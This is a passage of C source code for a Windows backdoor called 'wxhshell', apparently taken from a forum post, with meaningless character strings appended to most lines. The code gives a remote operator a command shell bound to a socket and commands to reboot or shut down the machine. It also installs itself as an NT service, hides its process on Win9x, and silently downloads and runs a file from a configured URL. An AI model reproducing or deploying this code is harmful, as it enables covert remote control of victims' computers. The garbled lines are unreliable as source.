      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +aOX{1w  
    break; 3*oZol/  
  } m4G))||9Q  
  // 安装 K^%ONultv  
  case 'i': { 4"Mq]_D  
    if(Install()) LKst QP!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B8zc#0!1  
    else dRBWJ/ 1T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e)|5 P  
    break; 5B;;{GR  
    } 9\%`/tJM  
  // 卸载 D`)K3;h  
  case 'r': { )yS8(F0  
    if(Uninstall()) 8 LsJ}c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OOzXA%<%c  
    else BKu< p<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B%z+\<3^q  
    break; l2kUa'O-  
    } 5PE}3he:  
  // 显示 wxhshell 所在路径 iT</  
  case 'p': { RIFTF R  
    char svExeFile[MAX_PATH]; LPkl16yZ  
    strcpy(svExeFile,"\n\r"); <,Jx3y q  
      strcat(svExeFile,ExeFile); 24 RD  
        send(wsh,svExeFile,strlen(svExeFile),0); 5]2 p>%G  
    break; Gl9 ,!"A  
    } eU\_m5xl"  
  // 重启 &PFK0tY  
  case 'b': { _[N*k"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y$W)JWMY`  
    if(Boot(REBOOT)) M} Mgz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zl?9ibm;@  
    else { , jCE hb  
    closesocket(wsh); kk}_AZ0eK  
    ExitThread(0); A1B%<$|pz  
    } E|_}?>{R  
    break; k!d<2Qp W  
    } zEw~t&:e  
  // 关机 Sp[]vm8N  
  case 'd': { 2FR 5RG oD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gN[^ ,u  
    if(Boot(SHUTDOWN)) H"wIa8A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Rp6q)  
    else { =|H.r9-PK6  
    closesocket(wsh); V2$M`|E  
    ExitThread(0); '|G8yojz  
    } [x -<O:r=P  
    break; {N@Pk[!  
    } G}@a]EGm  
  // 获取shell )g`~,3G  
  case 's': { ~Sx\>wBlc  
    CmdShell(wsh); 6ck%M#v  
    closesocket(wsh); 6u{%jSA>D\  
    ExitThread(0); ]6,D 9^{;  
    break; 3]kN9n{  
  } >C`#4e?}  
  // 退出 bl#6B.*=  
  case 'x': { %Hu.FS5'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #j"GS/y"  
    CloseIt(wsh); 5i%\m  
    break; m1M6N`f  
    } 6+:;M b_S  
  // 离开 593!;2/@  
  case 'q': { ,Uy;jk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rnBp2'EM  
    closesocket(wsh); 3Qu-X\  
    WSACleanup(); T[2<_nn=  
    exit(1); sk@aOv'*(  
    break; Nop61zj  
        } "_:6v64Gx  
  } yh.WTgcW  
  } Wlp`D  
\xmDkWzE  
  // 提示信息 <|hrmwk|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R0-Y2v  
} zO0K*s.yK  
  } c,#Nd@  
@[ {5{ y  
  return; rVp^s/A^;  
} @?& i   
(t,mtdD#1  
// shell模块句柄 :0Fc E,1  
int CmdShell(SOCKET sock) nI8zT0o  
{ 1D%E})B6  
STARTUPINFO si; 8tzL.P^  
ZeroMemory(&si,sizeof(si)); a>k9& w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yGH')TsjD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \8USFN~(Y  
PROCESS_INFORMATION ProcessInfo; Is9.A_0h  
char cmdline[]="cmd"; 38%"#T3#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7?\r9bD  
  return 0; B)rBM  
} Z 4c^6v  
upFe{M@  
// 自身启动模式 3;R`_#t+  
int StartFromService(void) D!i|KI/  
{ $paE6X^  
typedef struct +^*b]"[  
{ /f hS#+V*  
  DWORD ExitStatus; 5[~ C!t;  
  DWORD PebBaseAddress; ed#>q;jX  
  DWORD AffinityMask; ?<^^.Si  
  DWORD BasePriority; n;y[%H!g  
  ULONG UniqueProcessId; V>ZDJW"G!  
  ULONG InheritedFromUniqueProcessId; u@Bgyt7Y  
}   PROCESS_BASIC_INFORMATION; }&%&0$%  
jH<,dG:{  
PROCNTQSIP NtQueryInformationProcess; L5CnPnF  
BL%3[JQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kRH D{6mol  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,<[x9 "3\  
 JY_!G  
  HANDLE             hProcess; %cASk>^i  
  PROCESS_BASIC_INFORMATION pbi; Bo ??1y  
a~zh5==QD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D3y4e8+Z'  
  if(NULL == hInst ) return 0; GE\({V.W  
]NKz5[9D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EW/NH&{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'lmjZ{k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l !ZzJ&  
\!k\%j 9  
  if (!NtQueryInformationProcess) return 0; A@reIt  
?28)l 4 Ml  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); In*0.   
  if(!hProcess) return 0; {fMo#`9=  
=.,XJIw&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :)Da^V  
Me^L%%: @  
  CloseHandle(hProcess); =q[ynZ8O\w  
1"T&B0G3l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E cd~H+  
if(hProcess==NULL) return 0; rK4 pYo  
?S.LGc  
HMODULE hMod; ~xc0Ky?8  
char procName[255]; ~!_UDD  
unsigned long cbNeeded; 'Y/8gD~.  
.[Ny(X/]/}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >Fc=F#tA9  
{7Kl #b  
  CloseHandle(hProcess); Zm#,Ike?#  
'@"A{mrE  
if(strstr(procName,"services")) return 1; // 以服务启动 <XzRRCYQ  
='(;!3ZH  
  return 0; // 注册表启动 NSQ)lSW,;  
} M* dou_Q  
Qd}h:U^  
// 主模块 '(8} <(%  
int StartWxhshell(LPSTR lpCmdLine) Q|f)Awe$  
{ :kXxxS  
  SOCKET wsl; zF&_9VNk=c  
BOOL val=TRUE; .iST!nh  
  int port=0; =HMuAUa.  
  struct sockaddr_in door; ;!EEzR.  
ppO!v?  
  if(wscfg.ws_autoins) Install(); *k0;R[IAV  
c32"$g  
port=atoi(lpCmdLine); A \Z_br  
_;-b ZH  
if(port<=0) port=wscfg.ws_port; v=D4O.  
&CfzhIi*!  
  WSADATA data; &cf_?4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F^Mt}`O  
!KHbsOT?9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3GZrVhU?m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M ED_#OS  
  door.sin_family = AF_INET; a(x#6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2-:`lrVd  
  door.sin_port = htons(port); Bhe0z|&  
Y7`Dx'x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `[tYe<  
closesocket(wsl); RG- ,<G`  
return 1; ST\d -x  
} T"E%;'(cp)  
3.%jet1  
  if(listen(wsl,2) == INVALID_SOCKET) { PH!rWR  
closesocket(wsl); wT:mfS09N  
return 1; ]kH8T'  
} (- {.T  
  Wxhshell(wsl); :Z]\2(x  
  WSACleanup(); &y~GTEP  
S|_lb MZM  
return 0; ZMch2 U8  
3UJSK+d\  
} ak(P<OC-  
#}8gHI-9%  
// 以NT服务方式启动 mMad1qCi7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5 Praj  
{ 6!RK Zj)  
DWORD   status = 0; b>| d Q  
  DWORD   specificError = 0xfffffff; Na`vw  
q?# w%0}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z!^3%kJJ>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T2 V(P>E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /fxv^C82yv  
  serviceStatus.dwWin32ExitCode     = 0; -yY]0  
  serviceStatus.dwServiceSpecificExitCode = 0; lI+KT_|L  
  serviceStatus.dwCheckPoint       = 0; Y IVN;:B.  
  serviceStatus.dwWaitHint       = 0; Ce PI{`&,  
Mey=%Fv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~93+Oxg  
  if (hServiceStatusHandle==0) return; 6Ou[t6  
OI)/J;[-e  
status = GetLastError(); {-s7_\|p(  
  if (status!=NO_ERROR) MG$Df$R  
{ #:nds,   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !^w}Sp  
    serviceStatus.dwCheckPoint       = 0; }vQ Y+O  
    serviceStatus.dwWaitHint       = 0; &P>a  
    serviceStatus.dwWin32ExitCode     = status; R?l={N=Wf  
    serviceStatus.dwServiceSpecificExitCode = specificError; YuzgR;Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L%4Do*V&  
    return; Mj:=$}rs^  
  } {c=H#- A  
g]}E1H6-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >\ PNKpn{  
  serviceStatus.dwCheckPoint       = 0; y!kM#DC^  
  serviceStatus.dwWaitHint       = 0; |z.Ov&d4)(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zA&]#mc  
} WO{9S%ck  
E XQ 3(:&  
// 处理NT服务事件,比如:启动、停止 $-_@MT~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uh~,>~a|  
{ $:*/^)L  
switch(fdwControl) *iujJ i  
{ ]q@W(\I  
case SERVICE_CONTROL_STOP: <{A|Xs  
  serviceStatus.dwWin32ExitCode = 0; UC?i>HsJrX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (k>I!Z/&2  
  serviceStatus.dwCheckPoint   = 0; M!] g36h[  
  serviceStatus.dwWaitHint     = 0; U( "m}^  
  { |?<r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !T26#>mV  
  } 1&JB@F9!  
  return; _6MNEoy?  
case SERVICE_CONTROL_PAUSE: _<;westq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {@3p^b*E)1  
  break; 8Sg :HU\  
case SERVICE_CONTROL_CONTINUE: > 0NDlS%Q:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tfq; KR  
  break; \ dZD2e4  
case SERVICE_CONTROL_INTERROGATE: )R"deb=s  
  break; !8OUH6{2  
}; "?Xb$V7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yI}_ U  
} !\N|$-M  
e{`DvfY21  
// 标准应用程序主函数 ~er4w+"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2W=am_\0e.  
{ atjrn:X  
.5?Md  
// 获取操作系统版本 ewzZb*\  
OsIsNt=GetOsVer(); N+0`Jm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mj-B;r  
5SmgE2}  
  // 从命令行安装 1N\-Ku  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9N{"ob Z  
*6 1G<I  
  // 下载执行文件 agxR V  
if(wscfg.ws_downexe) { @1G`d53N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  Q~AK0W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 73'.TReK  
} 99..]  
'P<T,:z?  
if(!OsIsNt) { =;@?bTmqD  
// 如果时win9x,隐藏进程并且设置为注册表启动 dFVm18  
HideProc(); ,daZ KxT  
StartWxhshell(lpCmdLine); tz"zQC$  
} b>"=kN/  
else PEHaH"|([=  
  if(StartFromService()) s9}VnNr  
  // 以服务方式启动 !JVpR]lWS  
  StartServiceCtrlDispatcher(DispatchTable); 5_ioJ   
else #u6ZCv7u  
  // 普通方式启动 +b6kU{  
  StartWxhshell(lpCmdLine); '9#h^.  
\Dn an5H/  
return 0; NHq*&xy  
}
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只看该作者 1 发表于: 2006-10-10
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